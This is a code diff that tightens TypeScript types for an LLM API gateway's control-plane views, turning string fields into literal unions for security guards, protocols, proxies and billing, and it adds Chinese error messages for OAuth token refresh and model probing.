@@ -900,13 +951,19 @@ value?: string | null,
 secret?: boolean, };
 
 /**
- * 一条诊断发现。
+ * 对一个字段做什么。
+ */
+export type FieldOp = "set" | "remove";
+
+/**
+ * 一条诊断发现的结论。
  */
-export type FindingView = { 
+export type FindingLevel = "blocking" | "suspect" | "clear";
+
 /**
- * `blocking` | `suspect` | `clear`
+ * 一条诊断发现。
  */
-level: string, title: Msg, detail: Msg, 
+export type FindingView = { level: FindingLevel, title: Msg, detail: Msg, 
 /**
  * 用户可以自己执行的下一步。**我们不替他执行。**
  */
@@ -915,11 +972,7 @@ fix: Msg | null, };
 /**
  * 新建或修改一个策略组时交过来的定义。
  */
-export type GroupInput = { name: string, 
-/**
- * `fallback` / `select` / `load-balance` / `url-test` / `cheapest`
- */
-kind: string, 
+export type GroupInput = { name: string, kind: GroupKind, 
 /**
  * 成员，按顺序
  */
@@ -933,6 +986,11 @@ selected?: string | null,
  */
 session_affinity: boolean, };
 
+/**
+ * 策略组按什么排候选：配置里 `type` 写的那个词。
+ */
+export type GroupKind = "fallback" | "select" | "load-balance" | "url-test" | "cheapest";
+
 /**
  * `GET /summary/by`。
  */
@@ -951,10 +1009,9 @@ export type GroupView = { name: string,
  */
 builtin: boolean, 
 /**
- * 配置里写的 `type`：`fallback` / `select` / `load-balance` /
- * `url-test` / `cheapest`
+ * 配置里写的 `type`
  */
-kind: string, 
+kind: GroupKind, 
 /**
  * 同一次会话固定走同一家。**这一项直接决定账单**
  */
@@ -972,6 +1029,11 @@ selected?: string | null, providers: Array,
  */
 hurts_cache: boolean, };
 
+/**
+ * 哪一项防护。配置里 `security` 下的那个键，也是接口路径里的那一段。
+ */
+export type Guard = "redact" | "inspect_tools" | "hidden_text" | "content" | "output_limit";
+
 /**
  * 一项防护的档位和规则。
  */
@@ -979,12 +1041,17 @@ export type GuardDetail = {
 /**
  * `off` / `observe` / `enforce`
  */
-mode: string, 
+mode: GuardMode, 
 /**
  * 按界面上的顺序：内置的在前，自定义的在后
  */
 rules: Array, };
 
+/**
+ * 一项防护的档位。
+ */
+export type GuardMode = "off" | "observe" | "enforce";
+
 export type HeaderInput = { name: string, 
 /**
  * 不给表示沿用同名那一行的原值
@@ -1005,6 +1072,11 @@ value: string,
  */
 masked: boolean, };
 
+/**
+ * 一个上游现在能不能进候选链。
+ */
+export type Health = "ok" | "open";
+
 /**
  * 藏匿字符的一种：哪一种、在哪儿、几处、第一个长什么样。
  */
@@ -1012,7 +1084,7 @@ export type HiddenItem = {
 /**
  * `tag`（Unicode 标签字符）/ `bidi`（双向控制符）
  */
-kind: string, 
+kind: HiddenKind, 
 /**
  * 在工具结果里，而不是调用方自己打的字
  */
@@ -1026,6 +1098,11 @@ example: string,
  */
 revealed: string, };
 
+/**
+ * 藏匿字符的藏法。
+ */
+export type HiddenKind = "zero_width" | "tag" | "bidi" | "homoglyph" | "private_use";
+
 /**
  * 一条历史请求。
  */
@@ -1051,7 +1128,7 @@ cancelled: boolean,
  * 服务它的那家怎么收钱：`per-token` / `free`。本地应答的是 `free`：网关
  * 自己答的，费用确实是零
  */
-billing: string, 
+billing: Billing, 
 /**
  * 缓存命中省下了多少微分。`None` = 算不出来
  */
@@ -1154,12 +1231,7 @@ client: string,
 /**
  * 界面上显示的名字
  */
-name: string, 
-/**
- * `immediately` 下一个请求就用新的；`on_restart` 要重启那个客户端。
- * 和 `DetectedClient.takes_effect` 同一个词表
- */
-takes_effect: string, 
+name: string, takes_effect: TakesEffect, 
 /**
  * 改之前的全文备份在哪
  */
@@ -1176,6 +1248,11 @@ export type KeyValue = { name: string, key: string, };
  */
 export type KnownModel = { id: string, providers: Array, };
 
+/**
+ * 建连的那一步对着谁。
+ */
+export type L1Peer = "upstream" | "proxy";
+
 /**
  * L1 测速：只握手，不发业务请求。**零成本零副作用**。
  *
@@ -1216,26 +1293,22 @@ export type L1Segment = { stage: L1Stage, ms: number, };
 /**
  * 没有出现在分段里的那一步，和原因。**不说的话，缺一段看起来就像 bug。**
  */
-export type L1Skip = { stage: L1Stage, 
+export type L1Skip = { stage: L1Stage, reason: L1SkipReason, };
+
 /**
- * `plain_http`（`http://` 地址没有 TLS）/ `ip_address`（地址已经是 IP，
- * 不需要解析）/ `proxy_resolves`（`socks5h` 和 HTTP CONNECT 由代理解析域名）
+ * 建连时没有出现的那一步为什么没有。
  */
-reason: string, };
+export type L1SkipReason = "plain_http" | "ip_address" | "proxy_resolves";
 
 /**
  * 建连的哪一步、对着谁。
  */
-export type L1Stage = { 
-/**
- * `config`（地址或代理配置用不了，没有开始建连）/ `dns` / `tcp` /
- * `tls` / `handshake`（代理协议的握手，含认证）
- */
-step: string, 
+export type L1Stage = { step: L1Step, peer: L1Peer, };
+
 /**
- * `upstream` / `proxy`
+ * 建连的哪一步。
  */
-peer: string, };
+export type L1Step = "config" | "dns" | "tcp" | "tls" | "handshake";
 
 export type LatencyView = { model: string, p50: number, p95: number, 
 /**
@@ -1311,6 +1384,11 @@ running: Array,
  */
 tokens_per_sec: number | null, };
 
+/**
+ * 一次账号登录走到哪儿了。
+ */
+export type LoginStatus = "pending" | "done" | "failed" | "expired" | "cancelled";
+
 /**
  * 接管不了、只能给指引的。
  */
@@ -1358,6 +1436,11 @@ endpoint: string, };
  */
 export type Matcher = { "kind": "prefix", prefix: string, min_tail: number, } | { "kind": "openai-legacy", min_len: number, } | { "kind": "pem" } | { "kind": "jwt" } | { "kind": "conn-string" } | { "kind": "private-ip" } | { "kind": "domain-suffix", suffixes: Array, } | { "kind": "regex", pattern: string, } | { "kind": "contains", text: string, } | { "kind": "codepoints", ranges: Array, };
 
+/**
+ * MCP 矩阵上的一下。
+ */
+export type McpOp = "copy" | "remove";
+
 /**
  * 在矩阵上点一下。
  */
@@ -1365,7 +1448,7 @@ export type McpOpRequest = {
 /**
  * `copy` 或 `remove`
  */
-op: string, name: string, 
+op: McpOp, name: string, 
 /**
  * `copy` 时从哪个客户端取
  */
@@ -1409,7 +1492,7 @@ export type MismatchView = {
 /**
  * 和 `ConditionView.field` 同一个词表
  */
-field: string, 
+field: ConditionField, 
 /**
  * 规则里写的值。`intent` 写了多个时逐个列出
  */
@@ -1426,7 +1509,7 @@ export type ModeSave = {
 /**
  * `off` / `observe` / `enforce`
  */
-mode: string, base_version?: string | null, };
+mode: GuardMode, base_version?: string | null, };
 
 /**
  * 模型清单的结果。**空列表不足以表达**：「上游没这个接口」「上游给了
@@ -1436,6 +1519,11 @@ mode: string, base_version?: string | null, };
  */
 export type ModelList = { "kind": "listed", models: Array, } | { "kind": "not_implemented", status: number, } | { "kind": "unrecognized", sample: string, } | { "kind": "empty" };
 
+/**
+ * 最近一次向上游获取模型清单的结果。
+ */
+export type ModelListStatus = "pending" | "listed" | "no_list" | "failed";
+
 /**
  * 清单里的一个模型。
  */
@@ -1457,6 +1545,11 @@ price?: PriceFields | null, price_source?: PriceSourceView | null,
  */
 estimated: boolean, };
 
+/**
+ * 一个上游的模型清单从哪儿来。
+ */
+export type ModelSource = "discovered" | "manual" | "none";
+
 /**
  * 页面打开时补问模型清单：开始问的是哪几家。答案随 `models_changed` 到。
  */
@@ -1527,12 +1620,17 @@ expires_at?: string | null,
 /**
  * 最近一次刷新失败的原因。**已打码**；没失败过、或者已经恢复就没有
  */
-failure?: string | null, 
+failure?: Msg | null, 
 /**
  * 凭据已经失效，只有重新登录能恢复
  */
 needs_login?: boolean, };
 
+/**
+ * 代理用不了时怎么办。
+ */
+export type OnProxyFail = "fail" | "direct";
+
 /**
  * 输出长度的档位和上限。它没有规则，只有一个数。
  */
@@ -1540,7 +1638,7 @@ export type OutputLimitDetail = {
 /**
  * `off` / `observe` / `enforce`
  */
-mode: string, 
+mode: GuardMode, 
 /**
  * 上限，按字符数
  */
@@ -1725,6 +1823,11 @@ export type PricingRefreshed = { status: PricingStatus,
  */
 changed: number, };
 
+/**
+ * 价目表从哪儿来。
+ */
+export type PricingSource = "builtin" | "fetched" | "empty";
+
 /**
  * 默认价目表现在的状态。
  */
@@ -1736,7 +1839,7 @@ date: string,
 /**
  * `builtin`（随版本内置）/ `fetched`（联网刷新过）/ `empty`
  */
-source: string, 
+source: PricingSource, 
 /**
  * 表里有多少个模型
  */
@@ -1766,6 +1869,16 @@ unpriced_recent: number,
  */
 unpriced_models: Array, };
 
+/**
+ * 客户端自己发的辅助请求是哪一类。
+ */
+export type ProbeClass = "health_check" | "warmup" | "titling" | "topic_detect" | "suggestion";
+
+/**
+ * 一类辅助请求怎么处理。
+ */
+export type ProbeMode = "intercept" | "route" | "passthrough";
+
 /**
  * 一类客户端辅助请求的处置。
  *
@@ -1777,11 +1890,16 @@ export type ProbeView = {
 /**
  * `health_check` / `warmup` / `titling` / `topic_detect` / `suggestion`
  */
-id: string, 
+id: ProbeClass, 
 /**
  * `intercept` / `route` / `passthrough`
  */
-mode: string, };
+mode: ProbeMode, };
+
+/**
+ * 上游说的接口协议。
+ */
+export type Protocol = "anthropic" | "openai-chat" | "openai-responses" | "gemini" | "chatgpt";
 
 /**
  * 新建或修改一个上游时交过来的定义。
@@ -1812,7 +1930,7 @@ oauth: OAuthChange,
  * `anthropic` / `openai-chat` / `openai-responses` / `gemini`。
  * 不给就按地址推断
  */
-protocol?: string | null, 
+protocol?: Protocol | null, 
 /**
  * `direct` / `system` / 代理名
  */
@@ -1820,7 +1938,7 @@ proxy: string,
 /**
  * `fail` / `direct`
  */
-on_proxy_fail: string, 
+on_proxy_fail: OnProxyFail, 
 /**
  * 服务不提供模型列表时的手动清单
  */
@@ -1832,7 +1950,7 @@ models_only?: Array | null,
 /**
  * `per-token` / `free`。不给就是按量计费
  */
-billing?: string | null, 
+billing?: Billing | null, 
 /**
  * 按哪张价目表计价。不给就是默认价目表
  */
@@ -1849,11 +1967,11 @@ export type ProviderModelsView = { provider: string,
 /**
  * `discovered`（上游列出的）/ `manual`（手动清单）/ `none`
  */
-source: string, 
+source: ModelSource, 
 /**
  * 最近一次获取的结果，同 [`ProviderView::model_status`]
  */
-status: string, 
+status: ModelListStatus, 
 /**
  * 正在获取
  */
@@ -1865,13 +1983,13 @@ checked_at_ms?: number | null,
 /**
  * 没从上游拿到清单的原因
  */
-error?: string | null, models: Array, };
+error?: Msg | null, models: Array, };
 
 export type ProviderPreview = { 
 /**
  * 按地址推断的接口协议。推断不出是空（转发时按 Anthropic 处理）
  */
-protocol?: string | null, 
+protocol?: Protocol | null, 
 /**
  * API 密钥放在哪个请求头里：`x-api-key` / `authorization` / `x-goog-api-key`。
  * 选定了协议按选定的算，否则按推断出的
@@ -1886,7 +2004,7 @@ export type ProviderPreviewRequest = { base_url: string,
 /**
  * 表单里选定的协议。不给就是「自动识别」。只影响 `auth_header`
  */
-protocol?: string | null, };
+protocol?: Protocol | null, };
 
 /**
  * 一个上游的订阅额度。
@@ -1919,11 +2037,15 @@ ok: boolean,
 /**
  * 按哪种协议测的
  */
-protocol: string | null, latency_ms: number, models: ModelList, 
+protocol: Protocol | null, latency_ms: number, models: ModelList, 
 /**
  * 经由哪个代理。直连时为空
  */
-via?: string | null, error: string | null, };
+via?: string | null, 
+/**
+ * 失败的原因，和下一步该查什么
+ */
+error: Msg | null, };
 
 export type ProviderView = { name: string, 
 /**
@@ -1955,7 +2077,7 @@ oauth?: OAuthView | null,
  * 实际生效的协议：`anthropic` / `openai-chat` / `openai-responses` /
  * `gemini`。猜不出来时为空
  */
-protocol: string | null, 
+protocol: Protocol | null, 
 /**
  * 协议是配置里写明的，还是按地址推断的
  */
@@ -1967,7 +2089,7 @@ proxy: string,
 /**
  * `fail` / `direct`
  */
-on_proxy_fail: string, 
+on_proxy_fail: OnProxyFail, 
 /**
  * 服务不提供模型列表时用的手动清单
  */
@@ -1980,12 +2102,11 @@ models_only?: Array | null,
  * 模型清单从哪儿来：`discovered`（上游列出的）/ `manual`（手动清单）/
  * `none`（不知道它有什么）
  */
-model_source: string, 
+model_source: ModelSource, 
 /**
- * 最近一次向上游获取清单的结果：`pending`（还没获取，停用的上游一直是
- * 这样）/ `listed` / `no_list`（上游不提供清单）/ `failed`（没问到）
+ * 最近一次向上游获取清单的结果
  */
-model_status: string, 
+model_status: ModelListStatus, 
 /**
  * 正在获取。上一次的结果照常有效
  */
@@ -1997,7 +2118,7 @@ model_checked_at_ms?: number | null,
 /**
  * `no_list` / `failed` 的原因
  */
-model_error?: string | null, 
+model_error?: Msg | null, 
 /**
  * 现在能服务的模型数，已按启用范围过滤。停用时是 0
  */
@@ -2009,7 +2130,7 @@ disabled: boolean,
 /**
  * `ok` / `open`（熔断中）
  */
-health: string, 
+health: Health, 
 /**
  * 上游拒绝了凭据：最近一次得到答复的请求回的是这个状态码（401 / 403）。
  * 没被拒是空的，被拒之后有请求成功了也是空的。
@@ -2021,7 +2142,7 @@ auth_rejected?: number | null,
 /**
  * 计费方式：`per-token`（按价目表算，订阅账号也是）/ `free`（记 $0）
  */
-billing: string, 
+billing: Billing, 
 /**
  * 谁在引用它。**删之前要知道**，改名时它们会跟着改
  */
@@ -2056,14 +2177,24 @@ export type ProxyInput = { name: string,
 /**
  * `socks5h` / `socks5` / `http` / `https`
  */
-kind: string, 
+kind: ProxyKind, 
 /**
  * `host:port`
  */
 addr: string, auth: ProxyAuthInput, };
 
+/**
+ * 代理的类型。
+ */
+export type ProxyKind = "socks5h" | "socks5" | "http" | "https";
+
 export type ProxySave = { proxy: ProxyInput, base_version?: string | null, };
 
+/**
+ * 代理通不通。
+ */
+export type ProxyState = "unreachable" | "reachable";
+
 /**
  * 检测一个代理，**不保存**。
  */
@@ -2080,7 +2211,7 @@ export type ProxyView = { name: string,
 /**
  * `socks5h` / `socks5` / `http` / `https`
  */
-kind: string, addr: string, 
+kind: ProxyKind, addr: string, 
 /**
  * 有没有认证。**用户名和密码都不在这里** —— 用户名是凭据的一半，
  * 而这个视图会进日志、进诊断包、进用户贴出来的截图
@@ -2138,7 +2269,7 @@ cost_micros: number | null,
 /**
  * 要重放到的那家的计费方式：`per-token` / `free`
  */
-billing: string, 
+billing: Billing, 
 /**
  * 发出去之前会不会脱敏。用户有权在按下去之前知道
  */
@@ -2312,6 +2443,17 @@ clients: Array, rules: Array, };
  */
 export type RoutingView = { rule: string, group?: string | null, attempts: Array, };
 
+/**
+ * 一条规则在拦截档下做什么。工具调用审查是 `cut` / `record`，内容过滤是
+ * `block` / `record`；别的防护命中之后做什么由档位决定，没有这一项。
+ */
+export type RuleAction = "cut" | "block" | "record";
+
+/**
+ * 一条命中的规则起了什么作用。
+ */
+export type RuleEffect = "decide" | "apply" | "none";
+
 /**
  * 一条规则的定义。
  *
@@ -2355,7 +2497,7 @@ export type RuleTrace = { name: string,
  * `matched` | `skipped` | `phase_two`（条件要等选定上游之后才能求值，
  * 静态试算给不了结论）
  */
-verdict: string, 
+verdict: RuleVerdict, 
 /**
  * 没命中时，第一个没对上的条件
  */
@@ -2363,12 +2505,17 @@ mismatch?: MismatchView | null,
 /**
  * 条件本身写错了、没法求值时的说明
  */
-error?: string | null, 
+error?: Msg | null, 
 /**
  * 命中时它起了什么作用：`decide`（决定了去向）/ `apply`（附加了改写或
  * 安全要求）/ `none`（去向已由前面的规则决定，也没有附加项）
  */
-effect?: string | null, };
+effect?: RuleEffect | null, };
+
+/**
+ * 试算时一条规则的结论。
+ */
+export type RuleVerdict = "matched" | "skipped" | "phase_two";
 
 /**
  * 一条规则。
@@ -2427,11 +2574,7 @@ provider: string, at_ms: number, };
 /**
  * 一处发现。
  */
-export type ScanFinding = { 
-/**
- * `high` | `medium` | `low`
- */
-level: string, 
+export type ScanFinding = { level: ScanLevel, 
 /**
  * 哪条规则命中的
  */
@@ -2439,7 +2582,7 @@ rule: string,
 /**
  * `hooks` | `mcp` | `skill` | `command` | `agent` | `instructions`
  */
-kind: string, client: string, path: string, 
+kind: ScanSource, client: string, path: string, 
 /**
  * 第几行，从 1 开始
  */
@@ -2449,6 +2592,11 @@ line: number, title: Msg, detail: Msg,
  */
 excerpt: string, };
 
+/**
+ * 一处扫描发现有多要紧。
+ */
+export type ScanLevel = "high" | "medium" | "low";
+
 /**
  * `POST /scan`：除了用户级的配置面，还扫哪些项目目录。**我们不去找项目，
  * 只看用户指的。**
@@ -2477,6 +2625,11 @@ unreadable: Array, scanned: number,
  */
 projects: Array, };
 
+/**
+ * 扫描发现出在客户端配置面的哪一类东西里。
+ */
+export type ScanSource = "hooks" | "mcp" | "skill" | "command" | "agent" | "instructions";
+
 /**
  * 一个密钥类的值怎么改。**三态**，因为视图里拿不到原值：不动就得有「保持原样」。
  */
@@ -2493,13 +2646,18 @@ rule: string, custom: boolean,
 /**
  * 类别：`api-keys` / `private-keys` / `jwt` / `conn-strings` / `internal` / `custom`
  */
-kind: string, 
+kind: SecretKind, 
 /**
  * **已打码。**报出来的东西一律打码 —— 「发现了 sk-ant-xxx」这句话本身
  * 就是一次泄漏。内网地址和内部域名例外，它们不是凭据
  */
 masked: string, count: number, };
 
+/**
+ * 出站脱敏找到的东西属于哪一类。
+ */
+export type SecretKind = "api-keys" | "private-keys" | "jwt" | "conn-strings" | "internal" | "custom";
+
 /**
  * 一个可能是密钥的值给界面看的样子。
  */
@@ -2573,11 +2731,7 @@ hidden_text: GuardDetail, content: GuardDetail, output_limit: OutputLimitDetail,
  * **一条是一次命中**：出站脱敏是「一个请求里的一个值」（出现几次合成
  * 一条，`count` 说几次），工具调用审查是「一个工具调用命中一条规则」。
  */
-export type SecurityEventView = { id: number, at_ms: number, request_id: number, 
-/**
- * `redact` / `inspect_tools` / `hidden_text` / `content` / `output_limit`
- */
-guard: string, 
+export type SecurityEventView = { id: number, at_ms: number, request_id: number, guard: Guard, 
 /**
  * 内置规则的 id，或者自定义规则的名字。藏匿字符是那一种（`tag` / `bidi`），
  * 输出长度是 `max_chars`
@@ -2587,7 +2741,7 @@ rule: string, custom: boolean,
  * 做了什么：`recorded`（只记录）/ `replaced`（已替换）/ `cut`（已切断）/
  * `blocked`（请求被拒，没有发出去）
  */
-action: string, 
+action: SecurityOutcome, 
 /**
  * 请求最终由哪个上游服务；还没结束的是当时的首选
  */
@@ -2637,12 +2791,21 @@ export type SecurityEventsPage = { events: Array, more: boole
  * 安全日志一页要的：哪一项、哪一段、从哪条往前、几条（`GET /security/events`）。
  * 缺省是全部，不是今天；条数缺省 100、最多 500。
  */
-export type SecurityEventsQuery = { guard?: string | null, from_ms?: number | null, to_ms?: number | null, 
+export type SecurityEventsQuery = { 
+/**
+ * 只要这一项的。不给是全部
+ */
+guard?: Guard | null, from_ms?: number | null, to_ms?: number | null, 
 /**
  * 只要这条之前的（翻页）
  */
 before?: number | null, limit?: number | null, };
 
+/**
+ * 安全日志的一条做了什么。
+ */
+export type SecurityOutcome = "recorded" | "replaced" | "cut" | "blocked";
+
 /**
  * 一条规则。
  */
@@ -2669,13 +2832,13 @@ kind: string, matcher: Matcher, enabled: boolean,
  */
 on_by_default: boolean, 
 /**
- * 工具调用审查：拦截档下做什么，`cut` / `record`；内容过滤：`block` / `record`
+ * 工具调用审查、内容过滤：拦截档下做什么
  */
-action?: string | null, 
+action?: RuleAction | null, 
 /**
  * 内置规则出厂时拦截档下做什么。和 `action` 不一样就是改过
  */
-default_action?: string | null, };
+default_action?: RuleAction | null, };
 
 /**
  * 试出来的一处。
@@ -2694,7 +2857,7 @@ excerpt: string,
 /**
  * 工具调用审查、内容过滤：拦截档下做什么
  */
-action?: string | null, };
+action?: RuleAction | null, };
 
 /**
  * 拿一段文本试一试。给了 `pattern` 就只试这一条正则，给了 `rule` 就只试
@@ -2704,7 +2867,7 @@ export type SecurityTestRequest = { sample: string, pattern?: string | null,
 /**
  * 内容过滤试 `pattern` 时怎么认：`contains` / `regex`，不给按 `contains`
  */
-match?: string | null, rule?: string | null, };
+match?: ContentMatch | null, rule?: string | null, };
 
 export type SecurityTestResult = { hits: Array, };
 
@@ -2715,7 +2878,12 @@ export type SecurityTestResult = { hits: Array, };
  * 是切断响应，藏匿字符和内容过滤是拒绝请求。
  * 规则和日志在 [`SecurityDetail`] 和 `/security/events` 里，不塞进概览。
  */
-export type SecurityView = { redact: string, inspect_tools: string, hidden_text: string, content: string, output_limit: string, };
+export type SecurityView = { redact: GuardMode, inspect_tools: GuardMode, hidden_text: GuardMode, content: GuardMode, output_limit: GuardMode, };
+
+/**
+ * 一个上游为什么服务不了这个模型。
+ */
+export type ServeSkip = "disabled" | "out_of_scope" | "not_offered";
 
 export type SessionDetail = { session: SessionView, turns: Array, };
 
@@ -2756,6 +2924,11 @@ cache_saved_micros: number,
  */
 peak_input_tokens: number, models: Array, errors: number, };
 
+/**
+ * 路由规则 `set` 里的改写。
+ */
+export type SetField = "model" | "max_tokens" | "thinking" | "only_at_session_start";
+
 /**
  * 一项参数改写。
  */
@@ -2764,7 +2937,7 @@ export type SetView = {
  * `model`（换模型，整个 prompt cache 作废）/ `max_tokens` / `thinking` /
  * `only_at_session_start`（以上改写只在新会话开始时应用，值是 `true`）
  */
-field: string, value: string, };
+field: SetField, value: string, };
 
 /**
  * 按哪张价目表查价。
@@ -2780,7 +2953,7 @@ export type SkippedView = { provider: string,
 /**
  * `disabled` / `out_of_scope` / `not_offered`
  */
-reason: string, };
+reason: ServeSkip, };
 
 /**
  * L3 测速要花多少。
@@ -2805,12 +2978,12 @@ cost_micros?: number | null,
 /**
  * 这家的计费方式：`per-token` / `free`
  */
-billing: string, 
+billing: Billing, 
 /**
  * 这家服务不了这个模型：`out_of_scope`（不在启用范围里）/
  * `not_offered`（模型清单里没有）。有值时不进合计，也不会被测
  */
-skipped?: string | null, };
+skipped?: ServeSkip | null, };
 
 /**
  * 一批测速的账。
@@ -2940,6 +3113,11 @@ security: SecurityCounts,
  */
 pricing_date: string, };
 
+/**
+ * 改了客户端的配置之后，什么时候生效。
+ */
+export type TakesEffect = "immediately" | "on_restart";
+
 /**
  * 一次请求做过的格式转换。
  */
@@ -2947,11 +3125,11 @@ export type TranslatedView = {
 /**
  * 客户端的格式：`anthropic` / `openai-chat` / `openai-responses` / `gemini`
  */
-from: string, 
+from: Dialect, 
 /**
  * 服务它的上游的格式
  */
-to: string, 
+to: Dialect, 
 /**
  * 客户端请求里转不过去、被丢掉的字段路径
  */
@@ -2978,7 +3156,7 @@ cost_estimated: boolean,
  * 服务它的那家怎么收钱，和 `HistoryRow::billing` 同一套词：`per-token` /
  * `free`
  */
-billing: string, };
+billing: Billing, };
 
 /**
  * 一个无法计价的 (上游, 模型)。
@@ -2994,6 +3172,11 @@ export type UsageView = { input: number, output: number, cache_read: number, cac
  */
 cache_1h?: boolean, };
 
+/**
+ * 一个客户端的接管方式验证到什么程度。
+ */
+export type Verification = "measured" | "fields_only";
+
 /**
  * 聚合类端点的时间窗（`GET /summary`、`/latency`）。**缺省是「今天」而不是
  * 「最近 24 小时」** —— 用户问的是「今天花了多少」，那是个从零点算起的问题。
@@ -3004,6 +3187,11 @@ cache_1h?: boolean, };
  */
 export type Window = { from_ms?: number | null, to_ms?: number | null, };
 
+/**
+ * 登哪一家的账号。
+ */
+export type ZaiFamily = "zai" | "bigmodel";
+
 /**
  * 一次进行中的 Z.ai 登录。
  *
@@ -3027,7 +3215,7 @@ export type ZaiLoginStart = {
 /**
  * 登哪一家：`zai`（api.z.ai）或 `bigmodel`（open.bigmodel.cn）。不给是 `zai`
  */
-family?: string | null, 
+family?: ZaiFamily | null, 
 /**
  * 登录后写进配置的上游名。不给就是那一家的名字；已经有同名的同一家账号上游时，
  * 换掉它的密钥（重新登录），其余设置不动
@@ -3046,7 +3234,7 @@ export type ZaiLoginStatus = { id: string,
 /**
  * `pending` / `done` / `failed` / `expired` / `cancelled`
  */
-status: string, 
+status: LoginStatus, 
 /**
  * 写进配置的上游名。`done` 时有
  */
@@ -3058,7 +3246,7 @@ account?: string | null,
 /**
  * `failed` 时的原因
  */
-error?: string | null, };
+error?: Msg | null, };
 
 // The body of every non-2xx control-plane response.
 export type ErrorBody = Msg;
diff --git a/src/i18n/core.i18n.ts b/src/i18n/core.i18n.ts
index 141b70f4..ad62c3c5 100644
--- a/src/i18n/core.i18n.ts
+++ b/src/i18n/core.i18n.ts
@@ -186,10 +186,9 @@ const names = (list: string | undefined): string => (list ?? "").replace(/`([^`]
 
 /**
  * 可选的前缀参数。**用 `in` 判断，不直接取值** —— 取一个不存在的参数会让整句
- * 退回英文，而这两个参数本来就可有可无：同一个码，有时带着上游名或规则名，
- * 有时不带（编辑对话框里就是正在改的那一个）。
+ * 退回英文，而这个参数本来就可有可无：同一个码，有时带着规则名，有时不带
+ * （编辑对话框里就是正在改的那一条）。
  */
-const inUpstream = (a: Args, s: string) => ("upstream" in a ? `上游「${a.upstream}」的凭据：${s}` : s);
 const inRule = (a: Args, s: string) => ("rule" in a ? `规则「${a.rule}」：${s}` : s);
 
 /**
@@ -209,7 +208,6 @@ const ZH: Record = {
     "该上游使用系统代理，代理地址在建立连接时才由环境决定，链路测速无法测量。将代理配置为命名条目后即可测速。",
   "l1.config.proxy_undefined": (a) =>
     `上游「${a.upstream}」使用的代理「${a.proxy}」未在 proxies 中定义。`,
-  "l1.config.proxy_password": (a) => `无法读取代理「${a.proxy}」的密码：${a.detail}`,
   "l1.config.bad_url": (a) => `接口地址不是合法的 URL：${a.detail}`,
   "l1.config.unsupported_scheme": (a) =>
     `接口地址使用了 ${a.scheme} 协议，仅支持 http 和 https。`,
@@ -294,12 +292,44 @@ const ZH: Record = {
     "尚未配置任何上游。请在 ThinkWatch Lite 中添加上游，或在 config.yaml 的 providers 中添加。",
   "gw.config.proxy_undefined": (a) =>
     `上游「${a.upstream}」使用的代理「${a.proxy}」未在 proxies 中定义，内置选项只有 direct 和 system。`,
-  "gw.config.proxy_password": (a) => `无法读取代理「${a.proxy}」的密码：${a.detail}`,
   "gw.config.proxy_unusable": (a) => `上游「${a.upstream}」的代理「${a.proxy}」不可用：${a.detail}`,
   "gw.config.http_client": (a) => `无法创建 HTTP 客户端：${a.detail}`,
   "gw.config.allow_from": (a) => `listen.gateway.allow_from：${a.detail}`,
+
+  // ── gw.oauth / gw.chatgpt：换访问令牌 ──────────────────────────────
+  "gw.oauth.not_configured": (a) => `上游「${a.upstream}」未配置 OAuth。`,
+  "gw.oauth.unreachable": (a) => `无法连接令牌端点 ${a.endpoint}：${a.detail}`,
+  "gw.oauth.status": (a) => `令牌端点返回 ${a.status}：${a.body}`,
+  "gw.oauth.no_token": () => "令牌端点的响应中没有 access_token。",
+  "gw.oauth.expired": (a) =>
+    `OAuth 凭据已过期，请重新登录或更换 refresh token。令牌端点返回 ${a.status}：${a.body}`,
+  "gw.oauth.backoff.unreachable": (a) =>
+    `上一次刷新令牌失败，${a.secs} 秒后重试：无法连接令牌端点 ${a.endpoint}：${a.detail}`,
+  "gw.oauth.backoff.status": (a) =>
+    `上一次刷新令牌失败，${a.secs} 秒后重试：令牌端点返回 ${a.status}：${a.body}`,
+  "gw.oauth.backoff.no_token": (a) =>
+    `上一次刷新令牌失败，${a.secs} 秒后重试：令牌端点的响应中没有 access_token。`,
+  "gw.oauth.rotation_queue_full": () => "写回队列已满，这次换发的凭据未写回配置。",
+  "gw.oauth.rotation_no_manager": () =>
+    "网关在独立运行，没有配置管理器，这次换发的凭据未写回配置。",
+  "gw.chatgpt.token_unreachable": (a) => `无法连接 ${a.endpoint}：${a.detail}`,
+  "gw.chatgpt.token_status": (a) => `令牌端点返回 ${a.status}：${a.body}`,
+  "gw.chatgpt.token_not_json": () => "令牌端点的响应不是 JSON。",
+  "gw.chatgpt.token_missing": (a) => `令牌端点的响应中没有 ${a.field}。`,
+
+  // ── gw.models / gw.probe：获取模型清单、检查上游 ───────────────────
+  "gw.models.check_failed": () => "检查未通过。",
+  "gw.models.no_endpoint": (a) => `上游没有提供模型清单的接口（HTTP ${a.status}）。`,
+  "gw.models.unrecognized": () => "上游返回的模型清单格式无法识别。",
+  "gw.models.empty": () => "上游返回的模型清单为空。",
+  "gw.probe.timeout": (a) =>
+    `${a.secs} 秒内没有响应。请检查接口地址，或确认该上游是否需要经代理访问。`,
+  "gw.probe.connect": () =>
+    "无法连接。请检查接口地址的拼写和网络；如果该上游需要经代理访问，请先配置代理。",
+  "gw.probe.request_failed": (a) => `请求失败：${a.detail}`,
+  "gw.probe.key_rejected": (a) =>
+    `上游拒绝了这个密钥（HTTP ${a.status}）。请检查密钥前后是否有多余的空白，以及它是否属于该上游。`,
   "gw.config.security_rules": (a) => `安全规则无法使用：${a.detail}`,
-  "gw.credentials.failed": (a) => `无法获取上游「${a.upstream}」的凭据：${a.detail}`,
   "gw.model.unknown": (a) => `不存在模型 ${a.model}，可用模型请参见 GET /v1/models。`,
   "gw.model.no_upstream": (a) => `没有上游提供模型 ${a.model}，可用模型请参见 GET /v1/models。`,
   "gw.model.not_allowed": (a) =>
@@ -370,19 +400,17 @@ const ZH: Record = {
   "gw.listen.denied": (a) => `系统不允许监听 ${a.addr}，1024 以下的端口需要管理员权限。`,
   "gw.listen.bind_failed": (a) => `无法监听 ${a.addr}：${a.detail}`,
   "gw.listen.no_such_nic": (a) => `本机没有名为 ${a.name} 的网卡，现有网卡：${a.available}。`,
-  "gw.listen.nic_no_addr": (a) => `网卡 ${a.name} 当前没有地址，请检查网线或 Wi-Fi 连接。`,
+  "gw.listen.nic_offline": (a) => `网卡 ${a.name} 当前没有连上网络，请检查网线或 Wi-Fi 连接。`,
   "control.request_not_found": (a) => `未找到第 ${a.id} 号请求。`,
 
   // ── security：安全页的规则与档位 ──────────────────────────────────
   "security.guard_unknown": (a) =>
     `「${a.guard}」不是一项防护，只能是 redact、inspect_tools、hidden_text、content 或 output_limit。`,
